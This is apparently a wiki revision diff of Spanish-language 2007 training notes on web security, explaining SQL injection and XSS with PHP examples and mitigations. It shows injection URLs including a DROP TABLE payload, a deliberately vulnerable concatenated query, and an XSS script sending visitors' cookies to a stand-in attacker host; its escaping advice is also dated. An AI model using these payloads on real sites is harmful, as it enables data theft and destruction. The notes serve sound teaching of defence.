Additions:
Additions:
Tipo de capacitación: técnica pública
Deletions:
Tipo de capacitación: pública
Additions:
Additions:
Tipo de capacitación: pública
Additions:
Es la injection de código sql debido a que al guardar información en la base de datos no limpiamos los datos enviados por el usuario.
Limpiar toda variable antes de guardarla. Todas estas soluciones se pueden combinar, en muchos casos se deben combinar:
Notas:
Injection también puede ocurrir a un archivo (RFI remote file injection), o a un comando que luego ejecutemos: shell injection.
Blind Sql Injection: Normalmente injection es facilitada por los mensajes de error, con blind sql injection solo se tiene la opcion de éxito o fracaso, accediendo al catálogo se va construyendo el ataque.
Es el opuesto, de cierto modo, es el injectar código malicioso a los datos para luego actuar al ser mostrados en pantalla.
Generalmente usado para “phishing”. Ataque, injectar en mi blog, o artículo. Un ejemplo que registraria en la bitacora maquina del atacante (example.com), los cookies de todo visitante del sitio donde se colocó el injection.
<script>
document.write('<script src="http://www.example.com/get_cookies?cookies='
document.write(document.cookie)
document.write('"></script>');
</script>
Este ejemplo registraria en la bitacora maquina del atacante (example.com), los cookies
Solución:
Limpiar toda variable que se tome (de la base de datos) a la pantalla.
Deletions:
Al guardar información en la base de datos no limpiamos los datos enviados por el usuario.
Limpiar toda variable antes de guardarla. Esto puede ser tarea del la libreria que usas para acceder los datos.
Todas se pueden combinar, en muchos casos se deben combinar:
%%(php)settype($user_id, 'int');
http://www.php.net/manual/en/function.settype.php∞
(o ejecutar un shell o guardar un archivo
Capacitación sobre seguridad de aplicaciones web
Fecha: 20 de Octubre 2007
Por: Javier
Resumen: Sobre sql injection y ataques XSS
SQL Injection
Problema:
Al guardar información en la base de datos no limpiamos los datos enviados por el usuario.
Limpiar toda variable antes de guardarla. Esto puede ser tarea del la libreria que usas para acceder los datos.
http://example.org/datos.pgp?user_id=7
$query = "SELECT * FROM users WHERE id = '" . $user_id . "';"
http://example.org/datos.pgp?user_id=7' or '1'='1
http://example.org/datos.pgp?user_id=7'; DROP TABLE users; SELECT * FROM users WHERE '1'='1
Soluciones:
Todas se pueden combinar, en muchos casos se deben combinar:
sql_escape:
$user_id =
mysql_escape_string($user_id);
//pgsql_escape_string en postgresql
$query =
"SELECT * FROM users WHERE id = '" .
$user_id .
"';"
Por qué no usar quotes magic o similares? La biblioteca de la misma base de datos es la manera más directa, más segura, quotes magic (OCSE) trata de dar una solución general a todas las bases de datos, en mi experiencia, es mejor usar funciones nativas, funciones especializadas.
casting:
$user_id = (int)$user_id;
settype($user_id,
'int');
http:
//www.php.net/manual/en/function.settype.php
expresiones regulares:
(php)$user_id = preg_replace("/[^A-Za-z0-9_.-]/", "", $user_id);
Aqui solo aceptamos letras, numeros y _.-
almidon:
(php)$user_id = $data->request['user_id'];
solo funciona en caso se user_id esta definido como dato.
(php)$user_id = Table::parse_var($user_id); %%
(o ejecutar un shell o guardar un archivo
XSS atacks